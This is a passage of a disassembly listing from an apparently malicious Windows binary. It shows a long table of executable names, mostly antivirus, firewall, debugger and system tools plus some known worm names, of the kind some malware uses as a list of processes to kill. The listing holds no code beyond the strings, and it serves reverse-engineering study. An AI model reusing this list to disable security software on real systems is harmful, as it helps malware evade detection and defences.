		align 4
aWyvernworksfir	db 'WYVERNWORKSFIREWALL.EXE',0 ; DATA XREF: .data:00434F74o
aWupdt_exe	db 'WUPDT.EXE',0        ; DATA XREF: .data:00434F70o
		align 4
aWupdater_exe	db 'WUPDATER.EXE',0     ; DATA XREF: .data:00434F6Co
		align 4
aWsbgate_exe	db 'WSBGATE.EXE',0      ; DATA XREF: .data:00434F68o
aWrctrl_exe	db 'WRCTRL.EXE',0       ; DATA XREF: .data:00434F64o
		align 4
aWradmin_exe	db 'WRADMIN.EXE',0      ; DATA XREF: .data:00434F60o
aWnt_exe	db 'WNT.EXE',0          ; DATA XREF: .data:00434F5Co
aWnad_exe	db 'WNAD.EXE',0         ; DATA XREF: .data:00434F58o
		align 4
aWkufind_exe	db 'WKUFIND.EXE',0      ; DATA XREF: .data:00434F54o
aWinupdate_exe	db 'WINUPDATE.EXE',0    ; DATA XREF: .data:00434F50o
		align 10h
aWintsk32_exe	db 'WINTSK32.EXE',0     ; DATA XREF: .data:00434F4Co
		align 10h
aWinstart001_ex	db 'WINSTART001.EXE',0  ; DATA XREF: .data:00434F48o
aWinstart_exe	db 'WINSTART.EXE',0     ; DATA XREF: .data:00434F44o
		align 10h
aWinssk32_exe	db 'WINSSK32.EXE',0     ; DATA XREF: .data:00434F40o
		align 10h
aWinservn_exe	db 'WINSERVN.EXE',0     ; DATA XREF: .data:00434F3Co
		align 10h
aWinrecon_exe	db 'WINRECON.EXE',0     ; DATA XREF: .data:00434F38o
		align 10h
aWinppr32_exe	db 'WINPPR32.EXE',0     ; DATA XREF: .data:00434F34o
		align 10h
aWinnet_exe	db 'WINNET.EXE',0       ; DATA XREF: .data:00434F30o
		align 4
aWinmain_exe	db 'WINMAIN.EXE',0      ; DATA XREF: .data:00434F2Co
aWinlogin_exe	db 'WINLOGIN.EXE',0     ; DATA XREF: .data:00434F28o
		align 4
byte_435248	db 57h			; DATA XREF: .data:00434F24o
aIninitx_exe	db 'ININITX.EXE',0      ; DATA XREF: .data:off_421CB4o
		align 4
aWininit_exe	db 'WININIT.EXE',0      ; DATA XREF: .data:00434F20o
aWininetd_exe	db 'WININETD.EXE',0     ; DATA XREF: .data:00434F1Co
		align 4
aWindows_exe	db 'WINDOWS.EXE',0      ; DATA XREF: .data:00434F18o
aWindow_exe	db 'WINDOW.EXE',0       ; DATA XREF: .data:00434F14o
		align 4
aWinactive_exe	db 'WINACTIVE.EXE',0    ; DATA XREF: .data:00434F10o
		align 4
aWin32us_exe	db 'WIN32US.EXE',0      ; DATA XREF: .data:00434F0Co
aWin32_exe	db 'WIN32.EXE',0        ; DATA XREF: .data:00434F08o
		align 4
aWinBugsfix_exe	db 'WIN-BUGSFIX.EXE',0  ; DATA XREF: .data:00434F04o
aWimmun32_exe	db 'WIMMUN32.EXE',0     ; DATA XREF: .data:00434F00o
		align 4
aWhoswatchingme	db 'WHOSWATCHINGME.EXE',0 ; DATA XREF: .data:00434EFCo
		align 4
aWgfe95_exe	db 'WGFE95.EXE',0       ; DATA XREF: .data:00434EF8o
		align 4
aWfindv32_exe	db 'WFINDV32.EXE',0     ; DATA XREF: .data:00434EF4o
		align 4
aWebtrap_exe	db 'WEBTRAP.EXE',0      ; DATA XREF: .data:00434EF0o
aWebscanx_exe	db 'WEBSCANX.EXE',0     ; DATA XREF: .data:00434EECo
		align 10h
aWebdav_exe	db 'WEBDAV.EXE',0       ; DATA XREF: .data:00434EE8o
		align 4
aWatchdog_exe	db 'WATCHDOG.EXE',0     ; DATA XREF: .data:00434EE4o
		align 4
aW9x_exe	db 'W9X.EXE',0          ; DATA XREF: .data:00434EE0o
aW32dsm89_exe	db 'W32DSM89.EXE',0     ; DATA XREF: .data:00434EDCo
		align 4
aVswinperse_exe	db 'VSWINPERSE.EXE',0   ; DATA XREF: .data:00434ED8o
		align 4
aVswinntse_exe	db 'VSWINNTSE.EXE',0    ; DATA XREF: .data:00434ED4o
		align 4
aVswin9xe_exe	db 'VSWIN9XE.EXE',0     ; DATA XREF: .data:00434ED0o
		align 4
aVsstat_exe	db 'VSSTAT.EXE',0       ; DATA XREF: .data:00434ECCo
		align 10h
aVsmon_exe	db 'VSMON.EXE',0        ; DATA XREF: .data:00434EC8o
		align 4
aVsmain_exe	db 'VSMAIN.EXE',0       ; DATA XREF: .data:00434EC4o
		align 4
aVsisetup_exe	db 'VSISETUP.EXE',0     ; DATA XREF: .data:00434EC0o
		align 4
aVshwin32_exe	db 'VSHWIN32.EXE',0     ; DATA XREF: .data:00434EBCo
		align 4
aVsecomr_exe	db 'VSECOMR.EXE',0      ; DATA XREF: .data:00434EB8o
aVsched_exe	db 'VSCHED.EXE',0       ; DATA XREF: .data:00434EB4o
		align 10h
aVscenu6_02d30_	db 'VSCENU6.02D30.EXE',0 ; DATA XREF: .data:00434EB0o
		align 4
aVscan40_exe	db 'VSCAN40.EXE',0      ; DATA XREF: .data:00434EACo
aVptray_exe	db 'VPTRAY.EXE',0       ; DATA XREF: .data:00434EA8o
		align 4
aVpfw30s_exe	db 'VPFW30S.EXE',0      ; DATA XREF: .data:00434EA4o
aVpc42_exe	db 'VPC42.EXE',0        ; DATA XREF: .data:00434EA0o
		align 4
aVpc32_exe	db 'VPC32.EXE',0        ; DATA XREF: .data:00434E9Co
		align 10h
aVnpc3000_exe	db 'VNPC3000.EXE',0     ; DATA XREF: .data:00434E98o
		align 10h
aVnlan300_exe	db 'VNLAN300.EXE',0     ; DATA XREF: .data:00434E94o
		align 10h
aVirusmdpersona	db 'VIRUSMDPERSONALFIREWALL.EXE',0 ; DATA XREF: .data:00434E90o
aVirHelp_exe	db 'VIR-HELP.EXE',0     ; DATA XREF: .data:00434E8Co
		align 4
aVfsetup_exe	db 'VFSETUP.EXE',0      ; DATA XREF: .data:00434E88o
aVettray_exe	db 'VETTRAY.EXE',0      ; DATA XREF: .data:00434E84o
aVet95_exe	db 'VET95.EXE',0        ; DATA XREF: .data:00434E80o
		align 10h
aVet32_exe	db 'VET32.EXE',0        ; DATA XREF: .data:00434E7Co
		align 4
aVcsetup_exe	db 'VCSETUP.EXE',0      ; DATA XREF: .data:00434E78o
aVbwinntw_exe	db 'VBWINNTW.EXE',0     ; DATA XREF: .data:00434E74o
		align 4
aVbwin9x_exe	db 'VBWIN9X.EXE',0      ; DATA XREF: .data:00434E70o
aVbust_exe	db 'VBUST.EXE',0        ; DATA XREF: .data:00434E6Co
		align 10h
aVbcons_exe	db 'VBCONS.EXE',0       ; DATA XREF: .data:00434E68o
		align 4
aVbcmserv_exe	db 'VBCMSERV.EXE',0     ; DATA XREF: .data:00434E64o
		align 4
aUtpost_exe	db 'UTPOST.EXE',0       ; DATA XREF: .data:00434E60o
		align 4
aUpgrad_exe	db 'UPGRAD.EXE',0       ; DATA XREF: .data:00434E5Co
		align 4
aUpdate_exe	db 'UPDATE.EXE',0       ; DATA XREF: .data:00434E54o
					; .data:00434E58o
		align 10h
aUpdat_exe	db 'UPDAT.EXE',0        ; DATA XREF: .data:00434E50o
		align 4
aUndoboot_exe	db 'UNDOBOOT.EXE',0     ; DATA XREF: .data:00434E4Co
		align 4
aTvtmd_exe	db 'TVTMD.EXE',0        ; DATA XREF: .data:00434E48o
		align 4
aTvmd_exe	db 'TVMD.EXE',0         ; DATA XREF: .data:00434E44o
		align 4
aTsadbot_exe	db 'TSADBOT.EXE',0      ; DATA XREF: .data:00434E40o
aTrojantrap3_ex	db 'TROJANTRAP3.EXE',0  ; DATA XREF: .data:00434E3Co
aTrjsetup_exe	db 'TRJSETUP.EXE',0     ; DATA XREF: .data:00434E38o
		align 10h
aTrjscan_exe	db 'TRJSCAN.EXE',0      ; DATA XREF: .data:00434E34o
aTrickler_exe	db 'TRICKLER.EXE',0     ; DATA XREF: .data:00434E30o
		align 4
aTracert_exe	db 'TRACERT.EXE',0      ; DATA XREF: .data:00434E2Co
aTitaninxp_exe	db 'TITANINXP.EXE',0    ; DATA XREF: .data:00434E28o
		align 4
aTitanin_exe	db 'TITANIN.EXE',0      ; DATA XREF: .data:00434E24o
aTgbob_exe	db 'TGBOB.EXE',0        ; DATA XREF: .data:00434E20o
		align 10h
aTfak5_exe	db 'TFAK5.EXE',0        ; DATA XREF: .data:00434E1Co
		align 4
aTfak_exe	db 'TFAK.EXE',0         ; DATA XREF: .data:00434E18o
		align 4
aTeekids_exe	db 'TEEKIDS.EXE',0      ; DATA XREF: .data:00434E14o
aTds2Nt_exe	db 'TDS2-NT.EXE',0      ; DATA XREF: .data:00434E10o
aTds298_exe	db 'TDS2-98.EXE',0      ; DATA XREF: .data:00434E0Co
aTds3_exe	db 'TDS-3.EXE',0        ; DATA XREF: .data:00434E08o
		align 4
aTcm_exe	db 'TCM.EXE',0          ; DATA XREF: .data:00434E04o
aTca_exe	db 'TCA.EXE',0          ; DATA XREF: .data:00434E00o
aTc_exe		db 'TC.EXE',0           ; DATA XREF: .data:00434DFCo
		align 10h
aTbscan_exe	db 'TBSCAN.EXE',0       ; DATA XREF: .data:00434DF8o
		align 4
aTaumon_exe	db 'TAUMON.EXE',0       ; DATA XREF: .data:00434DF4o
		align 4
aTaskmon_exe	db 'TASKMON.EXE',0      ; DATA XREF: .data:00434DF0o
aTaskmo_exe	db 'TASKMO.EXE',0       ; DATA XREF: .data:00434DECo
		align 10h
aTaskmg_exe	db 'TASKMG.EXE',0       ; DATA XREF: .data:00434DE8o
		align 4
aSysupd_exe	db 'SYSUPD.EXE',0       ; DATA XREF: .data:00434DE4o
		align 4
aSystem32_exe	db 'SYSTEM32.EXE',0     ; DATA XREF: .data:00434DE0o
		align 4
aSystem_exe	db 'SYSTEM.EXE',0       ; DATA XREF: .data:00434DDCo
		align 4
aSysedit_exe	db 'SYSEDIT.EXE',0      ; DATA XREF: .data:00434DD8o
aSymtray_exe	db 'SYMTRAY.EXE',0      ; DATA XREF: .data:00434DD4o
aSymproxysvc_ex	db 'SYMPROXYSVC.EXE',0  ; DATA XREF: .data:00434DD0o
aSweepnet_sweep	db 'SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE',0 ; DATA XREF: .data:00434DCCo
		align 10h
aSweep95_exe	db 'SWEEP95.EXE',0      ; DATA XREF: .data:00434DC8o
aSvshost_exe	db 'SVSHOST.EXE',0      ; DATA XREF: .data:00434DC4o
aSvchosts_exe	db 'SVCHOSTS.EXE',0     ; DATA XREF: .data:00434DC0o
		align 4
aSvchostc_exe	db 'SVCHOSTC.EXE',0     ; DATA XREF: .data:00434DBCo
		align 4
aSvc_exe	db 'SVC.EXE',0          ; DATA XREF: .data:00434DB8o
aSupporter5_exe	db 'SUPPORTER5.EXE',0   ; DATA XREF: .data:00434DB4o
		align 10h
aSupport_exe	db 'SUPPORT.EXE',0      ; DATA XREF: .data:00434DB0o
aSupftrl_exe	db 'SUPFTRL.EXE',0      ; DATA XREF: .data:00434DACo
aStcloader_exe	db 'STCLOADER.EXE',0    ; DATA XREF: .data:00434DA8o
		align 4
aStart_exe	db 'START.EXE',0        ; DATA XREF: .data:00434DA4o
		align 4
aSt2_exe	db 'ST2.EXE',0          ; DATA XREF: .data:00434DA0o
aSsg_4104_exe	db 'SSG_4104.EXE',0     ; DATA XREF: .data:00434D9Co
		align 4
aSsgrate_exe	db 'SSGRATE.EXE',0      ; DATA XREF: .data:00434D98o
aSs3edit_exe	db 'SS3EDIT.EXE',0      ; DATA XREF: .data:00434D94o
aSrng_exe	db 'SRNG.EXE',0         ; DATA XREF: .data:00434D90o
		align 10h
aSrexe_exe	db 'SREXE.EXE',0        ; DATA XREF: .data:00434D8Co
		align 4
aSpyxx_exe	db 'SPYXX.EXE',0        ; DATA XREF: .data:00434D88o
		align 4
aSpoolsv32_exe	db 'SPOOLSV32.EXE',0    ; DATA XREF: .data:00434D84o
		align 4
aSpoolcv_exe	db 'SPOOLCV.EXE',0      ; DATA XREF: .data:00434D80o
aSpoler_exe	db 'SPOLER.EXE',0       ; DATA XREF: .data:00434D7Co
		align 10h
aSphinx_exe	db 'SPHINX.EXE',0       ; DATA XREF: .data:00434D78o
		align 4
aSpf_exe	db 'SPF.EXE',0          ; DATA XREF: .data:00434D74o
aSperm_exe	db 'SPERM.EXE',0        ; DATA XREF: .data:00434D70o
		align 10h
aSofi_exe	db 'SOFI.EXE',0         ; DATA XREF: .data:00434D6Co
		align 4
aSoap_exe	db 'SOAP.EXE',0         ; DATA XREF: .data:00434D68o
		align 4
aSmss32_exe	db 'SMSS32.EXE',0       ; DATA XREF: .data:00434D64o
		align 4
aSms_exe	db 'SMS.EXE',0          ; DATA XREF: .data:00434D60o
aSmc_exe	db 'SMC.EXE',0          ; DATA XREF: .data:00434D5Co
aShowbehind_exe	db 'SHOWBEHIND.EXE',0   ; DATA XREF: .data:00434D58o
		align 4
aShn_exe	db 'SHN.EXE',0          ; DATA XREF: .data:00434D54o
aShellspyinstal	db 'SHELLSPYINSTALL.EXE',0 ; DATA XREF: .data:00434D50o
aSh_exe		db 'SH.EXE',0           ; DATA XREF: .data:00434D4Co
		align 4
aSgssfw32_exe	db 'SGSSFW32.EXE',0     ; DATA XREF: .data:00434D48o
		align 4
aSfc_exe	db 'SFC.EXE',0          ; DATA XREF: .data:00434D44o
aSetup_flowprot	db 'SETUP_FLOWPROTECTOR_US.EXE',0 ; DATA XREF: .data:00434D40o
		align 4
aSetupvameeval_	db 'SETUPVAMEEVAL.EXE',0 ; DATA XREF: .data:00434D3Co
		align 10h
aServlces_exe	db 'SERVLCES.EXE',0     ; DATA XREF: .data:00434D38o
		align 10h
aServlce_exe	db 'SERVLCE.EXE',0      ; DATA XREF: .data:00434D34o
aService_exe	db 'SERVICE.EXE',0      ; DATA XREF: .data:00434D30o
aServ95_exe	db 'SERV95.EXE',0       ; DATA XREF: .data:00434D2Co
		align 4
aSd_exe		db 'SD.EXE',0           ; DATA XREF: .data:00434D28o
		align 4
aScvhost_exe	db 'SCVHOST.EXE',0      ; DATA XREF: .data:00434D24o
aScrsvr_exe	db 'SCRSVR.EXE',0       ; DATA XREF: .data:00434D20o
		align 4
aScrscan_exe	db 'SCRSCAN.EXE',0      ; DATA XREF: .data:00434D1Co
aScanpm_exe	db 'SCANPM.EXE',0       ; DATA XREF: .data:00434D18o
		align 4
aScan95_exe	db 'SCAN95.EXE',0       ; DATA XREF: .data:00434D14o
		align 4
aScan32_exe	db 'SCAN32.EXE',0       ; DATA XREF: .data:00434D10o
		align 4
aScam32_exe	db 'SCAM32.EXE',0       ; DATA XREF: .data:00434D0Co
		align 10h
aSc_exe		db 'SC.EXE',0           ; DATA XREF: .data:00434D08o
		align 4
aSbserv_exe	db 'SBSERV.EXE',0       ; DATA XREF: .data:00434D04o
		align 4
aSavenow_exe	db 'SAVENOW.EXE',0      ; DATA XREF: .data:00434D00o
aSave_exe	db 'SAVE.EXE',0         ; DATA XREF: .data:00434CFCo
		align 4
aSahagent_exe	db 'SAHAGENT.EXE',0     ; DATA XREF: .data:00434CF8o
		align 4
aSafeweb_exe	db 'SAFEWEB.EXE',0      ; DATA XREF: .data:00434CF4o
aRuxdll32_exe	db 'RUXDLL32.EXE',0     ; DATA XREF: .data:00434CF0o
		align 4
aRundll16_exe	db 'RUNDLL16.EXE',0     ; DATA XREF: .data:00434CECo
		align 4
aRundll_exe	db 'RUNDLL.EXE',0       ; DATA XREF: .data:00434CE8o
		align 4
aRun32dll_exe	db 'RUN32DLL.EXE',0     ; DATA XREF: .data:00434CE4o
		align 4
aRulaunch_exe	db 'RULAUNCH.EXE',0     ; DATA XREF: .data:00434CE0o
		align 4
aRtvscn95_exe	db 'RTVSCN95.EXE',0     ; DATA XREF: .data:00434CDCo
		align 4
aRtvscan_exe	db 'RTVSCAN.EXE',0      ; DATA XREF: .data:00434CD8o
aRshell_exe	db 'RSHELL.EXE',0       ; DATA XREF: .data:00434CD4o
		align 4
aRrguard_exe	db 'RRGUARD.EXE',0      ; DATA XREF: .data:00434CD0o
aRescue32_exe	db 'RESCUE32.EXE',0     ; DATA XREF: .data:00434CCCo
		align 4
aRescue_exe	db 'RESCUE.EXE',0       ; DATA XREF: .data:00434CC8o
		align 4
aRegedt32_exe	db 'REGEDT32.EXE',0     ; DATA XREF: .data:00434CC4o
		align 4
aRegedit_exe	db 'REGEDIT.EXE',0      ; DATA XREF: .data:00434CC0o
aReged_exe	db 'REGED.EXE',0        ; DATA XREF: .data:00434CBCo
		align 4
aRealmon_exe	db 'REALMON.EXE',0      ; DATA XREF: .data:00434CB8o
aRcsync_exe	db 'RCSYNC.EXE',0       ; DATA XREF: .data:00434CB4o
		align 4
aRb32_exe	db 'RB32.EXE',0         ; DATA XREF: .data:00434CB0o
		align 10h
aRay_exe	db 'RAY.EXE',0          ; DATA XREF: .data:00434CACo
aRav8win32eng_e	db 'RAV8WIN32ENG.EXE',0 ; DATA XREF: .data:00434CA8o
		align 4
aRav7win_exe	db 'RAV7WIN.EXE',0      ; DATA XREF: .data:00434CA4o
aRav7_exe	db 'RAV7.EXE',0         ; DATA XREF: .data:00434CA0o
		align 4
aRapapp_exe	db 'RAPAPP.EXE',0       ; DATA XREF: .data:00434C9Co
		align 10h
aQserver_exe	db 'QSERVER.EXE',0      ; DATA XREF: .data:00434C98o
aQconsole_exe	db 'QCONSOLE.EXE',0     ; DATA XREF: .data:00434C94o
		align 4
aPview95_exe	db 'PVIEW95.EXE',0      ; DATA XREF: .data:00434C90o
aPussy_exe	db 'PUSSY.EXE',0        ; DATA XREF: .data:00434C8Co
		align 4
aPurge_exe	db 'PURGE.EXE',0        ; DATA XREF: .data:00434C88o
		align 10h
aPspf_exe	db 'PSPF.EXE',0         ; DATA XREF: .data:00434C84o
		align 4
aProtectx_exe	db 'PROTECTX.EXE',0     ; DATA XREF: .data:00434C80o
		align 4
aProport_exe	db 'PROPORT.EXE',0      ; DATA XREF: .data:00434C7Co
aProgramauditor	db 'PROGRAMAUDITOR.EXE',0 ; DATA XREF: .data:00434C78o
		align 4
aProcexplorerv1	db 'PROCEXPLORERV1.0.EXE',0 ; DATA XREF: .data:00434C74o
		align 4
aProcessmonitor	db 'PROCESSMONITOR.EXE',0 ; DATA XREF: .data:00434C70o
		align 4
aProcdump_exe	db 'PROCDUMP.EXE',0     ; DATA XREF: .data:00434C6Co
		align 4
aPrmvr_exe	db 'PRMVR.EXE',0        ; DATA XREF: .data:00434C68o
		align 4
aPrmt_exe	db 'PRMT.EXE',0         ; DATA XREF: .data:00434C64o
		align 10h
aPrizesurfer_ex	db 'PRIZESURFER.EXE',0  ; DATA XREF: .data:00434C60o
aPpvstop_exe	db 'PPVSTOP.EXE',0      ; DATA XREF: .data:00434C5Co
aPptbc_exe	db 'PPTBC.EXE',0        ; DATA XREF: .data:00434C58o
		align 4
aPpinupdt_exe	db 'PPINUPDT.EXE',0     ; DATA XREF: .data:00434C54o
		align 4
aPowerscan_exe	db 'POWERSCAN.EXE',0    ; DATA XREF: .data:00434C50o
		align 4
aPortmonitor_ex	db 'PORTMONITOR.EXE',0  ; DATA XREF: .data:00434C4Co
aPortdetective_	db 'PORTDETECTIVE.EXE',0 ; DATA XREF: .data:00434C48o
		align 4
aPopscan_exe	db 'POPSCAN.EXE',0      ; DATA XREF: .data:00434C44o
aPoproxy_exe	db 'POPROXY.EXE',0      ; DATA XREF: .data:00434C40o
aPop3trap_exe	db 'POP3TRAP.EXE',0     ; DATA XREF: .data:00434C3Co
		align 4
aPlatin_exe	db 'PLATIN.EXE',0       ; DATA XREF: .data:00434C38o
		align 10h
aPingscan_exe	db 'PINGSCAN.EXE',0     ; DATA XREF: .data:00434C34o
		align 10h
aPgmonitr_exe	db 'PGMONITR.EXE',0     ; DATA XREF: .data:00434C30o
		align 10h
aPfwadmin_exe	db 'PFWADMIN.EXE',0     ; DATA XREF: .data:00434C2Co
		align 10h
aPf2_exe	db 'PF2.EXE',0          ; DATA XREF: .data:00434C28o
aPerswf_exe	db 'PERSWF.EXE',0       ; DATA XREF: .data:00434C24o
		align 4
aPersfw_exe	db 'PERSFW.EXE',0       ; DATA XREF: .data:00434C20o
		align 10h
aPeriscope_exe	db 'PERISCOPE.EXE',0    ; DATA XREF: .data:00434C1Co
		align 10h
aPenis_exe	db 'PENIS.EXE',0        ; DATA XREF: .data:00434C18o
		align 4
aPdsetup_exe	db 'PDSETUP.EXE',0      ; DATA XREF: .data:00434C14o
aPcscan_exe	db 'PCSCAN.EXE',0       ; DATA XREF: .data:00434C10o
		align 4
aPcip10117_0_ex	db 'PCIP10117_0.EXE',0  ; DATA XREF: .data:00434C0Co
aPcfwallicon_ex	db 'PCFWALLICON.EXE',0  ; DATA XREF: .data:00434C08o
aPcdsetup_exe	db 'PCDSETUP.EXE',0     ; DATA XREF: .data:00434C04o
		align 4
aPccwin98_exe	db 'PCCWIN98.EXE',0     ; DATA XREF: .data:00434C00o
		align 4
aPccwin97_exe	db 'PCCWIN97.EXE',0     ; DATA XREF: .data:00434BFCo
		align 4
aPccntmon_exe	db 'PCCNTMON.EXE',0     ; DATA XREF: .data:00434BF8o
		align 4
aPcciomon_exe	db 'PCCIOMON.EXE',0     ; DATA XREF: .data:00434BF4o
		align 4
aPcc2k_76_1436_	db 'PCC2K_76_1436.EXE',0 ; DATA XREF: .data:00434BF0o
		align 4
aPcc2002s902_ex	db 'PCC2002S902.EXE',0  ; DATA XREF: .data:00434BECo
aPavw_exe	db 'PAVW.EXE',0         ; DATA XREF: .data:00434BE8o
		align 4
aPavsched_exe	db 'PAVSCHED.EXE',0     ; DATA XREF: .data:00434BE4o
		align 4
aPavproxy_exe	db 'PAVPROXY.EXE',0     ; DATA XREF: .data:00434BE0o
		align 4
aPavcl_exe	db 'PAVCL.EXE',0        ; DATA XREF: .data:00434BDCo
		align 10h
aPatch_exe	db 'PATCH.EXE',0        ; DATA XREF: .data:00434BD8o
		align 4
aPanixk_exe	db 'PANIXK.EXE',0       ; DATA XREF: .data:00434BD4o
		align 4
aPadmin_exe	db 'PADMIN.EXE',0       ; DATA XREF: .data:00434BD0o
		align 4
aOutpostproinst	db 'OUTPOSTPROINSTALL.EXE',0 ; DATA XREF: .data:00434BCCo
		align 4
aOutpostinstall	db 'OUTPOSTINSTALL.EXE',0 ; DATA XREF: .data:00434BC8o
		align 10h
aOutpost_exe	db 'OUTPOST.EXE',0      ; DATA XREF: .data:00434BC0o
					; .data:00434BC4o
aOtfix_exe	db 'OTFIX.EXE',0        ; DATA XREF: .data:00434BBCo
		align 4
aOstronet_exe	db 'OSTRONET.EXE',0     ; DATA XREF: .data:00434BB8o
		align 4
aOptimize_exe	db 'OPTIMIZE.EXE',0     ; DATA XREF: .data:00434BB4o
		align 4
aOnsrvr_exe	db 'ONSRVR.EXE',0       ; DATA XREF: .data:00434BB0o
		align 4
aOllydbg_exe	db 'OLLYDBG.EXE',0      ; DATA XREF: .data:00434BACo
aNwtool16_exe	db 'NWTOOL16.EXE',0     ; DATA XREF: .data:00434BA8o
		align 10h
aNwservice_exe	db 'NWSERVICE.EXE',0    ; DATA XREF: .data:00434BA4o
		align 10h
aNwinst4_exe	db 'NWINST4.EXE',0      ; DATA XREF: .data:00434BA0o
aNvsvc32_exe	db 'NVSVC32.EXE',0      ; DATA XREF: .data:00434B9Co
aNvc95_exe	db 'NVC95.EXE',0        ; DATA XREF: .data:00434B98o
		align 4
aNvarch16_exe	db 'NVARCH16.EXE',0     ; DATA XREF: .data:00434B94o
		align 4
aNupgrade_exe	db 'NUPGRADE.EXE',0     ; DATA XREF: .data:00434B8Co
					; .data:00434B90o
		align 4
aNui_exe	db 'NUI.EXE',0          ; DATA XREF: .data:00434B88o
aNtxconfig_exe	db 'NTXconfig.EXE',0    ; DATA XREF: .data:00434B84o
		align 4
aNtvdm_exe	db 'NTVDM.EXE',0        ; DATA XREF: .data:00434B80o
		align 4
aNtrtscan_exe	db 'NTRTSCAN.EXE',0     ; DATA XREF: .data:00434B7Co
		align 4
aNt_exe		db 'NT.EXE',0           ; DATA XREF: .data:00434B78o
		align 10h
aNsupdate_exe	db 'NSUPDATE.EXE',0     ; DATA XREF: .data:00434B74o
		align 10h
aNstask32_exe	db 'NSTASK32.EXE',0     ; DATA XREF: .data:00434B70o
		align 10h
aNssys32_exe	db 'NSSYS32.EXE',0      ; DATA XREF: .data:00434B6Co
aNsched32_exe	db 'NSCHED32.EXE',0     ; DATA XREF: .data:00434B68o
		align 4
aNpssvc_exe	db 'NPSSVC.EXE',0       ; DATA XREF: .data:00434B64o
		align 4
aNpscheck_exe	db 'NPSCHECK.EXE',0     ; DATA XREF: .data:00434B60o
		align 4
aNprotect_exe	db 'NPROTECT.EXE',0     ; DATA XREF: .data:00434B5Co
		align 4
aNpfmessenger_e	db 'NPFMESSENGER.EXE',0 ; DATA XREF: .data:00434B58o
		align 4
aNpf40_tw_98_nt	db 'NPF40_TW_98_NT_ME_2K.EXE',0 ; DATA XREF: .data:00434B54o
		align 4
aNotstart_exe	db 'NOTSTART.EXE',0     ; DATA XREF: .data:00434B50o
		align 4
aNorton_interne	db 'NORTON_INTERNET_SECU_3.0_407.EXE',0 ; DATA XREF: .data:00434B4Co
		align 4
aNormist_exe	db 'NORMIST.EXE',0      ; DATA XREF: .data:00434B48o
aNod32_exe	db 'NOD32.EXE',0        ; DATA XREF: .data:00434B44o
		align 4
aNmain_exe	db 'NMAIN.EXE',0        ; DATA XREF: .data:00434B40o
		align 10h
aNisum_exe	db 'NISUM.EXE',0        ; DATA XREF: .data:00434B3Co
		align 4
aNisserv_exe	db 'NISSERV.EXE',0      ; DATA XREF: .data:00434B38o
aNetutils_exe	db 'NETUTILS.EXE',0     ; DATA XREF: .data:00434B34o
		align 4
aNetstat_exe	db 'NETSTAT.EXE',0      ; DATA XREF: .data:00434B30o
aNetspyhunter1_	db 'NETSPYHUNTER-1.2.EXE',0 ; DATA XREF: .data:00434B2Co
		align 4
aNetscanpro_exe	db 'NETSCANPRO.EXE',0   ; DATA XREF: .data:00434B28o
		align 4
aNetmon_exe	db 'NETMON.EXE',0       ; DATA XREF: .data:00434B24o
		align 4
aNetinfo_exe	db 'NETINFO.EXE',0      ; DATA XREF: .data:00434B20o
aNetd32_exe	db 'NETD32.EXE',0       ; DATA XREF: .data:00434B1Co
		align 10h
aNetarmor_exe	db 'NETARMOR.EXE',0     ; DATA XREF: .data:00434B18o
		align 10h
aNeowatchlog_ex	db 'NEOWATCHLOG.EXE',0  ; DATA XREF: .data:00434B14o
aNeomonitor_exe	db 'NEOMONITOR.EXE',0   ; DATA XREF: .data:00434B10o
		align 10h
aNdd32_exe	db 'NDD32.EXE',0        ; DATA XREF: .data:00434B0Co
		align 4
aNcinst4_exe	db 'NCINST4.EXE',0      ; DATA XREF: .data:00434B08o
aNc2000_exe	db 'NC2000.EXE',0       ; DATA XREF: .data:00434B04o
		align 4
aNavwnt_exe	db 'NAVWNT.EXE',0       ; DATA XREF: .data:00434B00o
		align 10h
aNavw32_exe	db 'NAVW32.EXE',0       ; DATA XREF: .data:00434AFCo
		align 4
aNavstub_exe	db 'NAVSTUB.EXE',0      ; DATA XREF: .data:00434AF8o
aNavnt_exe	db 'NAVNT.EXE',0        ; DATA XREF: .data:00434AF4o
		align 4
aNavlu32_exe	db 'NAVLU32.EXE',0      ; DATA XREF: .data:00434AF0o
aNavengnavex15_	db 'NAVENGNAVEX15.NAVLU32.EXE',0 ; DATA XREF: .data:00434AECo
		align 4
aNavdx_exe	db 'NAVDX.EXE',0        ; DATA XREF: .data:00434AE8o
		align 4
aNavapw32_exe	db 'NAVAPW32.EXE',0     ; DATA XREF: .data:00434AE4o
		align 4
aNavapsvc_exe	db 'NAVAPSVC.EXE',0     ; DATA XREF: .data:00434AE0o
		align 4
aNavap_navapsvc	db 'NAVAP.NAVAPSVC.EXE',0 ; DATA XREF: .data:00434ADCo
		align 4
aAutoProtect_na	db 'AUTO-PROTECT.NAV80TRY.EXE',0 ; DATA XREF: .data:00434AD8o
		align 4
aNav_exe	db 'NAV.EXE',0          ; DATA XREF: .data:00434AD4o
aN32scanw_exe	db 'N32SCANW.EXE',0     ; DATA XREF: .data:00434AD0o
		align 10h
aMwatch_exe	db 'MWATCH.EXE',0       ; DATA XREF: .data:00434ACCo
		align 4
aMu0311ad_exe	db 'MU0311AD.EXE',0     ; DATA XREF: .data:00434AC8o
		align 4
aMsvxd_exe	db 'MSVXD.EXE',0        ; DATA XREF: .data:00434AC4o
		align 4
aMssys_exe	db 'MSSYS.EXE',0        ; DATA XREF: .data:00434AC0o
		align 4
aMssmmc32_exe	db 'MSSMMC32.EXE',0     ; DATA XREF: .data:00434ABCo
		align 4
aMsmsgri32_exe	db 'MSMSGRI32.EXE',0    ; DATA XREF: .data:00434AB8o
		align 4
aMsmgt_exe	db 'MSMGT.EXE',0        ; DATA XREF: .data:00434AB4o
		align 10h
aMslaugh_exe	db 'MSLAUGH.EXE',0      ; DATA XREF: .data:00434AB0o
aMsinfo32_exe	db 'MSINFO32.EXE',0     ; DATA XREF: .data:00434AACo
		align 4
aMsiexec16_exe	db 'MSIEXEC16.EXE',0    ; DATA XREF: .data:00434AA8o
		align 4
aMsdos_exe	db 'MSDOS.EXE',0        ; DATA XREF: .data:00434AA4o
		align 4
aMsdm_exe	db 'MSDM.EXE',0         ; DATA XREF: .data:00434AA0o
		align 4
aMsconfig_exe	db 'MSCONFIG.EXE',0     ; DATA XREF: .data:00434A9Co
		align 4
aMscman_exe	db 'MSCMAN.EXE',0       ; DATA XREF: .data:00434A98o
		align 10h
aMsccn32_exe	db 'MSCCN32.EXE',0      ; DATA XREF: .data:00434A94o
aMscache_exe	db 'MSCACHE.EXE',0      ; DATA XREF: .data:00434A90o
aMsblast_exe	db 'MSBLAST.EXE',0      ; DATA XREF: .data:00434A8Co
